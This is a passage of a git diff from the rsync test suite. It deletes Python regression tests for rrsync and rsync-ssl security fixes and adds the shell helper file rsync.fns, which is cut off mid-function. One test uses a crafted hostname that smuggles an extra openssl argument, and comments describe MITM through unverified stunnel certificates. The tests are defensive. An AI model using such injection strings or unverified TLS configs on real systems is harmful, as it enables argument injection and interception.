SCRATCHDIR, makepath, patched_rrsync, rmtree, rsync_argv, rsync_path_arg\n-\n-base = SCRATCHDIR / 'rrsync-write-only-files-from'\n-rmtree(base)\n-src = base / 'src'\n-root = base / 'root'\n-makepath(src, root)\n-secret_name = 'SERVER-ONLY-SECRET-NAME'\n-(root / 'protected-list').write_text(secret_name + '\\n')\n-\n-# RSYNC may be a multi-word command (the runner's --protocol=N, or valgrind)\n-# while rrsync hands its RSYNC to execlp() as a single executable name, so it\n-# has to be wrapped before patched_rrsync() sees it.\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-wrapper = patched_rrsync(base, rsync_path=str(shim))\n-rsh = f'{shlex.quote(sys.executable)} {shlex.quote(os.path.abspath(__file__))} --shell'\n-env = {**os.environ, 'RRSYNC_WRAPPER': str(wrapper), 'RRSYNC_ROOT': str(root)}\n-got = subprocess.run(\n-    rsync_argv('-r', '--files-from=:protected-list',\n-               '-e', rsh, f'{src}/', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-\n-assert got.returncode != 0 and 'write-only server cannot read' in got.stderr, (\n-    f'write-only rrsync accepted remote --files-from: rc={got.returncode}, '\n-    f'stdout={got.stdout!r}, stderr={got.stderr!r}')\n-assert secret_name not in got.stdout and secret_name not in got.stderr, (\n-    f'write-only rrsync returned the protected record: rc={got.returncode}, '\n-    f'stdout={got.stdout!r}, stderr={got.stderr!r}')\n-\n-# Control: a CLIENT-local --files-from upload must still work.  A second,\n-# unlisted source file makes this prove list selection as well: with only one\n-# file present an ordinary recursive upload would look identical, so the\n-# control would pass even if the list were ignored entirely.\n-(src / 'allowed').write_bytes(b'NEW')\n-(src / 'unlisted').write_bytes(b'NOPE')\n-local_list = base / 'local-list'\n-local_list.write_text('allowed\\n')\n-safe = subprocess.run(\n-    rsync_argv('-r', f'--files-from={local_list}',\n-               '-e', rsh, f'{src}/', 'ignored:'),\n-    env=env, capture_output=True, text=True, timeout=20)\n-assert safe.returncode == 0 and (root / 'allowed').read_bytes() == b'NEW', (\n-    f'local --files-from upload failed: rc={safe.returncode}, '\n-    f'stdout={safe.stdout!r}, stderr={safe.stderr!r}')\n-assert not (root / 'unlisted').exists(), (\n-    'the client-local list was not honoured: an unlisted file was uploaded, '\n-    'so this control does not show that --files-from selected anything')\ndiff --git a/testsuite/rsync-ssl-hostname-validation_test.py b/testsuite/rsync-ssl-hostname-validation_test.py\ndeleted file mode 100644\nindex 619b188..0000000\n--- a/testsuite/rsync-ssl-hostname-validation_test.py\n+++ /dev/null\n@@ -1,59 +0,0 @@\n-#!/usr/bin/env python3\n-# Finding [20] (CWE-88 argument injection): rsync-ssl expands an untrusted SSL\n-# hostspec into the openssl/gnutls command line unquoted (rsync-ssl:146) and into\n-# the stunnel heredoc config (rsync-ssl:154) with no character policy.  A hostname\n-# containing whitespace / newline / control characters therefore injects extra\n-# TLS options or stunnel directives -- a forced connection target, a verification\n-# bypass, or stunnel config injection.  Fix: validate_ssl_hostname rejects such\n-# hostnames before any helper is invoked (rsync-ssl:138).\n-#\n-# Part 1 demonstrates the injection against an UNFIXED copy of rsync-ssl plus a\n-# fake openssl that records its argv: the crafted host's payload lands as a\n-# separate openssl argument.  Part 2 is the fix: the shipped rsync-ssl rejects the\n-# host string before exec'ing the helper.\n-\n-import os\n-import shlex\n-import re\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, SRCDIR, rmtree, test_fail\n-\n-base = SCRATCHDIR / 'rsync-ssl-hostname'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-argv_capture = base / 'openssl_argv'\n-fake_openssl = base / 'fake_openssl'\n-fake_openssl.write_text(f\"#!/bin/sh\\nprintf '%s\\\\n' \\\"$@\\\" > {shlex.quote(str(argv_capture))}\\nexit 0\\n\")\n-fake_openssl.chmod(0o755)\n-\n-# An unfixed rsync-ssl: drop the validate_ssl_hostname guard so the host string\n-# reaches the helper command line as it did before the fix.\n-unfixed = base / 'rsync-ssl-unfixed'\n-unfixed.write_text(re.sub(r'(?m)^(\\s*)validate_ssl_hostname .*$',\n-                          r'\\1: # hostname guard removed for this regression test',\n-                          (SRCDIR / 'rsync-ssl').read_text()))\n-unfixed.chmod(0o755)\n-\n-EVIL_HOST = 'localhost INJECTED_OPENSSL_ARG'\n-env = {**os.environ, 'RSYNC_SSL_TYPE': 'openssl',\n-       'RSYNC_SSL_OPENSSL': str(fake_openssl), 'RSYNC_SSL_CA_CERT': '/dev/null'}\n-helper = ['--HELPER', EVIL_HOST, 'rsync', '--server', '--daemon', '.']\n-\n-# --- Part 1: the unfixed helper injects the payload into the openssl argv.\n-subprocess.run(['bash', str(unfixed)] + helper, env=env,\n-               stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-captured = argv_capture.read_text().splitlines() if argv_capture.exists() else []\n-if 'INJECTED_OPENSSL_ARG' not in captured:\n-    test_fail(\"premise: the crafted hostname did not inject a separate openssl \"\n-              f\"argument (captured argv: {captured})\")\n-\n-# --- Part 2: the shipped rsync-ssl rejects the injecting host string.\n-proc = subprocess.run(['bash', str(SRCDIR / 'rsync-ssl')] + helper, env=env,\n-                      stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if proc.returncode == 0 or 'invalid rsync-ssl hostname' not in proc.stdout:\n-    test_fail(\"rsync-ssl did NOT reject the argument-injecting hostname:\\n\" + proc.stdout)\n-\n-print(\"rsync-ssl-hostname-validation: a control-char hostspec injects helper \"\n-      \"arguments; rsync-ssl rejects it\")\ndiff --git a/testsuite/rsync-ssl-openssl-hostname-check_test.py b/testsuite/rsync-ssl-openssl-hostname-check_test.py\ndeleted file mode 100644\nindex 18dac5b..0000000\n--- a/testsuite/rsync-ssl-openssl-hostname-check_test.py\n+++ /dev/null\n@@ -1,58 +0,0 @@\n-#!/usr/bin/env python3\n-# Companion to rsync-ssl-stunnel-hostname-check for the openssl backend.  The\n-# openssl arm has always passed -verify_hostname $hostname (3.4.x onward), so the\n-# hostname identity is bound by default.  This test locks that in AND checks the\n-# new RSYNC_SSL_SKIP_HOSTNAME_CHECK=1 opt-out: chain verification ($caopt) and SNI\n-# (-servername) stay, only -verify_hostname is dropped.\n-#\n-# A fake openssl echoes its argv to a capture file via RSYNC_SSL_OPENSSL.\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, SRCDIR, rmtree, test_fail\n-\n-base = SCRATCHDIR / 'rsync-ssl-openssl-host'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-args_capture = base / 'openssl_args'\n-fake_openssl = base / 'fake_openssl'\n-fake_openssl.write_text(f'#!/bin/sh\\necho \"$@\" > {shlex.quote(str(args_capture))}\\nexit 0\\n')\n-fake_openssl.chmod(0o755)\n-ca = base / 'ca.pem'\n-ca.write_text(\"dummy-ca\\n\")\n-\n-helper = ['--HELPER', 'localhost', 'rsync', '--server', '--daemon', '.']\n-base_env = {**os.environ, 'RSYNC_SSL_TYPE': 'openssl',\n-            'RSYNC_SSL_OPENSSL': str(fake_openssl), 'RSYNC_SSL_CA_CERT': str(ca)}\n-base_env.pop('RSYNC_SSL_SKIP_HOSTNAME_CHECK', None)\n-\n-\n-def run(env):\n-    if args_capture.exists():\n-        args_capture.unlink()\n-    subprocess.run(['bash', str(SRCDIR / 'rsync-ssl')] + helper, env=env,\n-                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    return args_capture.read_text() if args_capture.exists() else ''\n-\n-\n-# --- Default: the openssl client verifies the hostname.\n-args = run(base_env)\n-if '-connect localhost:' not in args:\n-    test_fail(f\"premise: fake openssl did not capture argv:\\n{args!r}\")\n-if '-verify_hostname localhost' not in args:\n-    test_fail(f\"openssl backend is missing -verify_hostname localhost:\\n{args}\")\n-\n-# --- Chain-only opt-out: drop -verify_hostname, keep SNI + chain verification.\n-args = run({**base_env, 'RSYNC_SSL_SKIP_HOSTNAME_CHECK': '1'})\n-if '-verify_hostname' in args:\n-    test_fail(\"RSYNC_SSL_SKIP_HOSTNAME_CHECK=1 must drop -verify_hostname from \"\n-              f\"the openssl backend:\\n{args}\")\n-if '-servername localhost' not in args or '-CAfile' not in args:\n-    test_fail(\"SKIP_HOSTNAME_CHECK must keep SNI (-servername) and chain \"\n-              f\"verification (-CAfile):\\n{args}\")\n-\n-print(\"rsync-ssl-openssl-hostname-check: openssl binds the cert to the host by \"\n-      \"default, and SKIP_HOSTNAME_CHECK opts back to chain-only\")\ndiff --git a/testsuite/rsync-ssl-stunnel-ca-required_test.py b/testsuite/rsync-ssl-stunnel-ca-required_test.py\ndeleted file mode 100644\nindex 540e018..0000000\n--- a/testsuite/rsync-ssl-stunnel-ca-required_test.py\n+++ /dev/null\n@@ -1,56 +0,0 @@\n-#!/usr/bin/env python3\n-# Finding [12] (CWE-295 improper certificate validation): in stunnel mode\n-# rsync-ssl builds the stunnel client config with NO CA / verify directives when\n-# RSYNC_SSL_CA_CERT is unset (rsync-ssl:88-99 leaves verify=\"\"), so the TLS\n-# session validates no server certificate.  An active network attacker can then\n-# MITM the rsync-over-SSL connection -- reading and modifying transferred file\n-# data and the daemon auth challenge/response.  Fix: rsync-ssl refuses stunnel\n-# mode without a CA unless RSYNC_SSL_ALLOW_INSECURE_STUNNEL=1 (rsync-ssl:140).\n-#\n-# Part 1 demonstrates the danger: with the explicit insecure opt-out and no CA, a\n-# fake stunnel captures the generated config and it carries no certificate\n-# verification at all -- the MITM-able config the old default produced.  Part 2 is\n-# the fix: without the opt-out and without a CA, rsync-ssl refuses to run.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, SRCDIR, rmtree, test_fail\n-\n-base = SCRATCHDIR / 'rsync-ssl-stunnel'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-config_capture = base / 'stunnel_config'\n-fake_stunnel = base / 'fake_stunnel'\n-# rsync-ssl feeds the generated stunnel config on fd 10 (exec ... -fd 10 ...);\n-# bash, not /bin/sh, since dash cannot redirect from fd >9 -- and via env, since\n-# the BSDs keep bash in /usr/local/bin, not /bin.\n-fake_stunnel.write_text(f\"#!/usr/bin/env bash\\ncat <&10 > {config_capture} 2>/dev/null\\nexit 0\\n\")\n-fake_stunnel.chmod(0o755)\n-\n-helper = ['--HELPER', 'localhost', 'rsync', '--server', '--daemon', '.']\n-env = {**os.environ, 'RSYNC_SSL_TYPE': 'stunnel', 'RSYNC_SSL_STUNNEL': str(fake_stunnel)}\n-env.pop('RSYNC_SSL_CA_CERT', None)\n-\n-# --- Part 1: with the explicit insecure opt-out and no CA, the generated config\n-# has no certificate verification -- the MITM-able connection.\n-env1 = {**env, 'RSYNC_SSL_ALLOW_INSECURE_STUNNEL': '1'}\n-subprocess.run(['bash', str(SRCDIR / 'rsync-ssl')] + helper, env=env1,\n-               stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-cfg = config_capture.read_text() if config_capture.exists() else ''\n-if 'connect = localhost' not in cfg:\n-    test_fail(f\"premise: fake stunnel did not capture a config:\\n{cfg!r}\")\n-if 'verifyChain' in cfg or 'CAfile' in cfg:\n-    test_fail(\"premise: expected NO certificate-verification directives in the \"\n-              f\"no-CA stunnel config:\\n{cfg}\")\n-\n-# --- Part 2: without the opt-out and without a CA, rsync-ssl refuses to run, so\n-# the unverified connection shown in part 1 cannot happen by accident.\n-proc = subprocess.run(['bash', str(SRCDIR / 'rsync-ssl')] + helper, env=env,\n-                      stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if proc.returncode == 0 or 'stunnel requires RSYNC_SSL_CA_CERT' not in proc.stdout:\n-    test_fail(\"rsync-ssl did NOT refuse insecure stunnel mode without a CA:\\n\" + proc.stdout)\n-\n-print(\"rsync-ssl-stunnel-ca-required: stunnel without a CA yields an unverified \"\n-      \"(MITM-able) config; rsync-ssl refuses it unless explicitly opted out\")\ndiff --git a/testsuite/rsync-ssl-stunnel-hostname-check_test.py b/testsuite/rsync-ssl-stunnel-hostname-check_test.py\ndeleted file mode 100644\nindex 7a8c53c..0000000\n--- a/testsuite/rsync-ssl-stunnel-hostname-check_test.py\n+++ /dev/null\n@@ -1,73 +0,0 @@\n-#!/usr/bin/env python3\n-# Finding (codex scan, CWE-295 improper certificate validation): in stunnel mode\n-# rsync-ssl emitted \"verifyChain = yes\" + \"CAfile\" but NO \"checkHost\" directive,\n-# so the TLS session validated the certificate CHAIN but not its HOSTNAME.  An\n-# active network attacker holding a cert that chains to the configured CA but is\n-# issued for a DIFFERENT name could MITM the rsync-over-SSL connection.  Fix:\n-# emit \"checkHost = $hostname\" whenever the chain is verified, mirroring the\n-# openssl backend's -verify_hostname.  RSYNC_SSL_SKIP_HOSTNAME_CHECK=1 keeps chain\n-# verification but skips the identity check (restores 3.4.x stunnel behaviour).\n-#\n-# rsync-ssl feeds the generated stunnel config on fd 10; a fake stunnel captures\n-# it and we inspect the directives.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, SRCDIR, rmtree, test_fail\n-\n-base = SCRATCHDIR / 'rsync-ssl-stunnel-host'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-config_capture = base / 'stunnel_config'\n-fake_stunnel = base / 'fake_stunnel'\n-# bash, not /bin/sh: dash cannot redirect from fd >9; via env for the BSDs' bash.\n-fake_stunnel.write_text(f\"#!/usr/bin/env bash\\ncat <&10 > {config_capture} 2>/dev/null\\nexit 0\\n\")\n-fake_stunnel.chmod(0o755)\n-ca = base / 'ca.pem'\n-ca.write_text(\"dummy-ca\\n\")\n-\n-helper = ['--HELPER', 'localhost', 'rsync', '--server', '--daemon', '.']\n-base_env = {**os.environ, 'RSYNC_SSL_TYPE': 'stunnel',\n-            'RSYNC_SSL_STUNNEL': str(fake_stunnel)}\n-for v in ('RSYNC_SSL_CA_CERT', 'RSYNC_SSL_ALLOW_INSECURE_STUNNEL',\n-          'RSYNC_SSL_SKIP_HOSTNAME_CHECK'):\n-    base_env.pop(v, None)\n-\n-\n-def run(env):\n-    if config_capture.exists():\n-        config_capture.unlink()\n-    subprocess.run(['bash', str(SRCDIR / 'rsync-ssl')] + helper, env=env,\n-                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    return config_capture.read_text() if config_capture.exists() else ''\n-\n-\n-# --- Part 1: CA configured, default -> chain AND hostname are verified.\n-cfg = run({**base_env, 'RSYNC_SSL_CA_CERT': str(ca)})\n-if 'connect = localhost' not in cfg:\n-    test_fail(f\"premise: fake stunnel did not capture a config:\\n{cfg!r}\")\n-if 'verifyChain = yes' not in cfg:\n-    test_fail(f\"a CA-configured stunnel config must verify the chain:\\n{cfg}\")\n-if 'checkHost = localhost' not in cfg:\n-    test_fail(\"CA-configured stunnel config is missing the hostname binding \"\n-              f\"(checkHost = localhost):\\n{cfg}\")\n-\n-# --- Part 2: explicit insecure opt-out, no CA -> no verification at all.\n-cfg = run({**base_env, 'RSYNC_SSL_CA_CERT': '',\n-           'RSYNC_SSL_ALLOW_INSECURE_STUNNEL': '1'})\n-if 'checkHost' in cfg:\n-    test_fail(f\"insecure (no-CA) stunnel config must not emit checkHost:\\n{cfg}\")\n-\n-# --- Part 3: chain-only opt-out -> chain verified, hostname check skipped.\n-cfg = run({**base_env, 'RSYNC_SSL_CA_CERT': str(ca),\n-           'RSYNC_SSL_SKIP_HOSTNAME_CHECK': '1'})\n-if 'verifyChain = yes' not in cfg:\n-    test_fail(f\"SKIP_HOSTNAME_CHECK must keep chain verification:\\n{cfg}\")\n-if 'checkHost' in cfg:\n-    test_fail(\"RSYNC_SSL_SKIP_HOSTNAME_CHECK=1 must drop the hostname binding \"\n-              f\"(no checkHost):\\n{cfg}\")\n-\n-print(\"rsync-ssl-stunnel-hostname-check: stunnel binds the cert to the host when \"\n-      \"verifying a chain, and SKIP_HOSTNAME_CHECK opts back to chain-only\")\ndiff --git a/testsuite/rsync-ssl-type-option_test.py b/testsuite/rsync-ssl-type-option_test.py\ndeleted file mode 100644\nindex ae4a7e7..0000000\n--- a/testsuite/rsync-ssl-type-option_test.py\n+++ /dev/null\n@@ -1,95 +0,0 @@\n-#!/usr/bin/env python3\n-# rsync-ssl only recognized --type=SSL_TYPE as the FIRST argument, so\n-# \"rsync-ssl --dry-run --type=stunnel host::mod\" passed the option through to\n-# the underlying rsync, which rejected it with \"--type=stunnel: unknown option\".\n-# Fix: scan the whole argument list for --type=..., export RSYNC_SSL_TYPE, and\n-# drop the option before handing the remaining args to rsync.\n-# A `--` arg stops the wrapper-option scan: `--` and everything after it are\n-# passed through to rsync verbatim, so an operand such as `--type=stunnel`\n-# that was protected from option parsing is not consumed by the wrapper.\n-#\n-# A fake rsync in PATH records the args it receives and the RSYNC_SSL_TYPE it\n-# observes; rsync-ssl is run in its normal (non-HELPER) mode with --type= in\n-# various positions.  The recorded args must contain every other option but\n-# never a --type= token, RSYNC_SSL_TYPE must match what the wrapper consumed,\n-# and rsync-ssl must exit successfully.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, SRCDIR, rmtree, test_fail\n-\n-base = SCRATCHDIR / 'rsync-ssl-type-opt'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-args_capture = base / 'rsync_args'\n-type_capture = base / 'rsync_ssl_type'\n-fakebin = base / 'bin'\n-fakebin.mkdir(parents=True)\n-fake_rsync = fakebin / 'rsync'\n-fake_rsync.write_text(\n-    f\"#!/usr/bin/env bash\\n\"\n-    f\"printf '%s\\\\n' \\\"$@\\\" > {args_capture}\\n\"\n-    f\"printf '%s\\\\n' \\\"${{RSYNC_SSL_TYPE-UNSET}}\\\" > {type_capture}\\n\"\n-    f\"exit 0\\n\")\n-fake_rsync.chmod(0o755)\n-\n-env = {**os.environ, 'PATH': str(fakebin) + os.pathsep + os.environ.get('PATH', '')}\n-for v in ('RSYNC_SSL_TYPE', 'RSYNC_SSL_OPENSSL', 'RSYNC_SSL_STUNNEL'):\n-    env.pop(v, None)\n-\n-\n-def run(args, expect_type):\n-    for capture in (args_capture, type_capture):\n-        if capture.exists():\n-            capture.unlink()\n-    proc = subprocess.run(['bash', str(SRCDIR / 'rsync-ssl')] + args, env=env,\n-                          stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-    if proc.returncode != 0:\n-        test_fail(f\"rsync-ssl exited {proc.returncode} for args {args!r}:\\n{proc.stdout}\")\n-    got_args = args_capture.read_text().splitlines() if args_capture.exists() else []\n-    got_type = type_capture.read_text().strip() if type_capture.exists() else 'UNSET'\n-    if got_type != expect_type:\n-        test_fail(f\"RSYNC_SSL_TYPE is {got_type!r}, expected {expect_type!r} \"\n-                  f\"for args {args!r}:\\n{proc.stdout}\")\n-    return got_args\n-\n-\n-# --- The reported failure: --type= in the middle of the rsync args.\n-got = run(['--dry-run', '--type=stunnel', 'host::mod'], 'stunnel')\n-if any(a.startswith('--type=') for a in got):\n-    test_fail(f\"--type= was passed through to rsync instead of being consumed:\\n{got}\")\n-for want in ('--dry-run', 'host::mod'):\n-    if want not in got:\n-        test_fail(f\"missing rsync arg {want!r} after --type= handling:\\n{got}\")\n-if not any(a.startswith('--rsh=') for a in got):\n-    test_fail(f\"missing the --rsh= helper option:\\n{got}\")\n-\n-# --- First, last, and no --type= keep working.\n-for pos_args, expect_type in ((['--type=stunnel', '--dry-run', 'host::mod'], 'stunnel'),\n-                              (['-av', 'host::mod', '--type=openssl'], 'openssl'),\n-                              (['-av', 'host::mod'], 'UNSET')):\n-    got = run(pos_args, expect_type)\n-    if any(a.startswith('--type=') for a in got):\n-        test_fail(f\"--type= was passed through for args {pos_args!r}:\\n{got}\")\n-    for want in pos_args:\n-        if want.startswith('--type='):\n-            continue\n-        if want not in got:\n-            test_fail(f\"missing rsync arg {want!r} for args {pos_args!r}:\\n{got}\")\n-\n-# --- `--` stops the wrapper-option scan: the protected operand is preserved.\n-rsh_arg = \"--rsh='{}' --HELPER\".format(SRCDIR / 'rsync-ssl')\n-got = run(['--', '--type=stunnel', 'host::mod'], 'UNSET')\n-if got != [rsh_arg, '--', '--type=stunnel', 'host::mod']:\n-    test_fail(f\"args after -- must be preserved verbatim (no --type= consumed):\\n{got}\")\n-\n-# --- A wrapper option before `--` is still consumed; the protected one is not.\n-got = run(['--type=openssl', '--', '--type=stunnel', 'host::mod'], 'openssl')\n-if got != [rsh_arg, '--', '--type=stunnel', 'host::mod']:\n-    test_fail(f\"--type= before -- is consumed, args after -- are preserved:\\n{got}\")\n-\n-print(\"rsync-ssl-type-option: --type=SSL_TYPE is consumed in any argument \"\n-      \"position (until a -- stops the wrapper-option scan), exported as \"\n-      \"RSYNC_SSL_TYPE, and rsync-ssl exits successfully\")\ndiff --git a/testsuite/rsync.fns b/testsuite/rsync.fns\nnew file mode 100644\nindex 0000000..2ab97b6\n--- /dev/null\n+++ b/testsuite/rsync.fns\n@@ -0,0 +1,498 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2001 by Martin Pool <mbp@samba.org>\n+\n+# General-purpose test functions for rsync.\n+\n+# This program is free software; you can redistribute it and/or modify\n+# it under the terms of the GNU General Public License version\n+# 2 as published by the Free Software Foundation.\n+#\n+# This program is distributed in the hope that it will be useful, but\n+# WITHOUT ANY WARRANTY; without even the implied warranty of\n+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n+# Lesser General Public License for more details.\n+#\n+# You should have received a copy of the GNU Lesser General Public\n+# License along with this program; if not, write to the Free Software\n+# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n+\n+tmpdir=\"$scratchdir\"\n+fromdir=\"$tmpdir/from\"\n+todir=\"$tmpdir/to\"\n+chkdir=\"$tmpdir/chk\"\n+\n+chkfile=\"$scratchdir/rsync.chk\"\n+outfile=\"$scratchdir/rsync.out\"\n+\n+# For itemized output:\n+all_plus='+++++++++'\n+allspace='         '\n+dots='.....' # trailing dots after changes\n+tab_ch='\t' # a single tab character\n+\n+# Berkley's nice.\n+PATH=\"$PATH:/usr/ucb\"\n+\n+if diff -u \"$suitedir/rsync.fns\" \"$suitedir/rsync.fns\" >/dev/null 2>&1; then\n+    diffopt=\"-u\"\n+else\n+    diffopt=\"-c\"\n+fi\n+\n+HOME=\"$scratchdir\"\n+export HOME\n+\n+runtest() {\n+    echo $ECHO_N \"Test $1: $ECHO_C\"\n+    if eval \"$2\"; then\n+        echo \"$ECHO_T\tdone.\"\n+        return 0\n+    else\n+        echo \"$ECHO_T failed!\"\n+        return 1\n+    fi\n+}\n+\n+set_cp_destdir() {\n+    while test $# -gt 1; do\n+\tshift\n+    done\n+    destdir=\"$1\"\n+}\n+\n+# Perform a \"cp -p\", making sure that timestamps are really the same,\n+# even if the copy rounded microsecond times on the destination file.\n+cp_touch() {\n+    cp_p \"${@}\"\n+    if test $# -gt 2 || test -d \"$2\"; then\n+\tset_cp_destdir \"${@}\" # sets destdir var\n+\twhile test $# -gt 1; do\n+\t    destname=\"$destdir/`basename $1`\"\n+\t    touch -r \"$destname\" \"$1\" \"$destname\"\n+\t    shift\n+\tdone\n+    else\n+\ttouch -r \"$2\" \"$1\" \"$2\"\n+    fi\n+}\n+\n+# Call this if you want to filter (stdin -> stdout) verbose messages (-v or\n+# -vv) from an rsync run (whittling the output down to just the file messages).\n+# This isn't needed if you use -i without -v.\n+v_filt() {\n+    sed -e '/^building file list /d' \\\n+\t-e '/^sending incremental file list/d' \\\n+\t-e '/^created directory /d' \\\n+\t-e '/^done$/d' \\\n+\t-e '/ --whole-file$/d' \\\n+\t-e '/^total: /d' \\\n+\t-e '/^client charset: /d' \\\n+\t-e '/^server charset: /d' \\\n+\t-e '/^$/,$d'\n+}\n+\n+printmsg() {\n+    echo \"$1\"\n+}\n+\n+rsync_ls_lR() {\n+    find \"$@\" -name .git -prune -o -name auto-build-save -prune -o -print | \\\n+\tsort | sed 's/ /\\\\ /g' | xargs \"$TOOLDIR/tls\" $TLS_ARGS\n+}\n+\n+get_testuid() {\n+    uid=`id -u 2>/dev/null || true`\n+    case \"$uid\" in\n+\t[0-9]*) echo \"$uid\" ;;\n+\t*) id 2>/dev/null | sed 's/^[^0-9]*\\([0-9][0-9]*\\).*/\\1/' ;;\n+    esac\n+}\n+\n+get_rootuid() {\n+    uid=`id -u root 2>/dev/null || true`\n+    case \"$uid\" in\n+\t[0-9]*) echo \"$uid\" ;;\n+\t*) echo 0 ;;\n+    esac\n+}\n+\n+get_rootgid() {\n+    gid=`id -g root 2>/dev/null || true`\n+    case \"$gid\" in\n+\t[0-9]*) echo \"$gid\" ;;\n+\t*) echo 0 ;;\n+    esac\n+}\n+\n+# When copying via \"cp -p\", we want to ensure that a non-root user does not\n+# preserve ownership (we want our files to be created as the testing user).\n+# For instance, a Cygwin CI run might have git files owned by a different\n+# user than the (admin) user running the tests.\n+cp_cmd=\"cp -p\"\n+if test x`get_testuid` != x0; then\n+    case `cp --help 2>/dev/null` in\n+\t*--no-preserve=*) cp_cmd=\"cp -p --no-preserve=ownership\" ;;\n+    esac\n+fi\n+cp_p() {\n+    $cp_cmd \"${@}\" || test_fail \"$cp_cmd failed\"\n+}\n+\n+check_perms() {\n+    perms=`\"$TOOLDIR/tls\" \"$1\" | sed 's/^[-d]\\(.........\\).*/\\1/'`\n+    if test $perms = $2; then\n+\treturn 0\n+    fi\n+    echo \"permissions: $perms on $1\"\n+    echo \"should be:   $2\"\n+    test_fail \"failed test $3\"\n+}\n+\n+rsync_getgroups() {\n+    \"$TOOLDIR/getgroups\"\n+}\n+\n+\n+####################\n+# Build test directories $todir and $fromdir, with $fromdir full of files.\n+\n+hands_setup() {\n+    # Clean before creation\n+    rm -rf \"$fromdir\"\n+    rm -rf \"$todir\"\n+\n+    [ -d \"$tmpdir\" ] || mkdir \"$tmpdir\"\n+    [ -d \"$fromdir\" ] || mkdir \"$fromdir\"\n+    [ -d \"$todir\" ] || mkdir \"$todir\"\n+\n+    # On some BSD systems, the umask affects the mode of created\n+    # symlinks, even though the mode apparently has no effect on how\n+    # the links behave in the future, and it cannot be changed using\n+    # chmod!  rsync always sets its umask to 000 so that it can\n+    # accurately recreate permissions, but this script is probably run\n+    # with a different umask.\n+\n+    # This causes a little problem that \"ls -l\" of the two will not be\n+    # the same.  So, we need to set our umask before doing any creations.\n+\n+    # set up test data\n+    touch \"$fromdir/empty\"\n+    mkdir \"$fromdir/emptydir\"\n+\n+    # a hundred lines of text or so\n+    rsync_ls_lR \"$srcdir\" > \"$fromdir/filelist\"\n+\n+    echo $ECHO_N \"This file has no trailing lf$ECHO_C\" > \"$fromdir/nolf\"\n+    umask 0\n+    ln -s nolf \"$fromdir/nolf-symlink\"\n+    umask 022\n+\n+    cat \"$srcdir\"/*.c > \"$fromdir/text\"\n+    mkdir \"$fromdir/dir\"\n+    cp \"$fromdir/text\" \"$fromdir/dir\"\n+    mkdir \"$fromdir/dir/subdir\"\n+    echo some data > \"$fromdir/dir/subdir/foobar.baz\"\n+    mkdir \"$fromdir/dir/subdir/subsubdir\"\n+    if [ -r /etc ]; then\n+\tls -ltr /etc > \"$fromdir/dir/subdir/subsubdir/etc-ltr-list\"\n+    else\n+\tls -ltr / > \"$fromdir/dir/subdir/subsubdir/etc-ltr-list\"\n+    fi\n+    mkdir \"$fromdir/dir/subdir/subsubdir2\"\n+    if [ -r /bin ]; then\n+\tls -lt /bin > \"$fromdir/dir/subdir/subsubdir2/bin-lt-list\"\n+    else\n+\tls -lt / > \"$fromdir/dir/subdir/subsubdir2/bin-lt-list\"\n+    fi\n+\n+#      echo testing head:\n+#      ls -lR \"$srcdir\" | head -10 || echo failed\n+}\n+\n+\n+####################\n+# Many machines do not have \"mkdir -p\", so we have to build up long paths.\n+# How boring.\n+makepath() {\n+    for p in \"${@}\"; do\n+\t(echo \"        makepath $p\"\n+\n+\t# Absolute Unix path.\n+\tif echo $p | grep '^/' >/dev/null; then\n+\t    cd /\n+\tfi\n+\n+\t# This will break if $p contains a space.\n+\tfor c in `echo $p | tr '/' ' '`; do\n+\t    if [ -d \"$c\" ] || mkdir \"$c\"; then\n+\t\tcd \"$c\" || return $?\n+\t    else\n+\t\techo \"failed to create $c\" >&2; return $?\n+\t    fi\n+\tdone)\n+    done\n+}\n+\n+\n+###########################\n+# Run a test (in '$1') then compare directories $2 and $3 to see if\n+# there are any difference.  If there are, explain them.\n+\n+# So normally basically $1 should be an rsync command, and $2 and $3\n+# the source and destination directories.  This is only good when you\n+# expect to transfer the whole directory exactly as is.  If some files\n+# should be excluded, you might need to use something else.\n+\n+checkit() {\n+    failed=\n+\n+    # We can just write everything to stdout/stderr, because the\n+    # wrapper hides it unless there is a problem.\n+\n+    case \"x$TLS_ARGS\" in\n+    *--atimes*)\n+\t( cd \"$2\" && rsync_ls_lR . ) > \"$tmpdir/ls-from\"\n+\t;;\n+    *)\n+\t;;\n+    esac\n+\n+    echo \"Running: \\\"$1\\\"\"\n+    eval \"$1\"\n+    status=$?\n+    if [ $status != 0 ]; then\n+\tfailed=\"$failed status=$status\"\n+    fi\n+\n+    case \"x$TLS_ARGS\" in\n+    *--atimes*)\n+\t;;\n+    *)\n+\t( cd \"$2\" && rsync_ls_lR . ) > \"$tmpdir/ls-from\"\n+\t;;\n+    esac\n+\n+    echo \"-------------\"\n+    echo \"check how the directory listings compare with diff:\"\n+    echo \"\"\n+    ( cd \"$3\" && rsync_ls_lR . ) > \"$tmpdir/ls-to\"\n+    diff $diffopt \"$tmpdir/ls-from\" \"$tmpdir/ls-to\" || failed=\"$failed dir-diff\"\n+\n+    echo \"-------------\"\n+    echo \"check how the files compare with diff:\"\n+    echo \"\"\n+    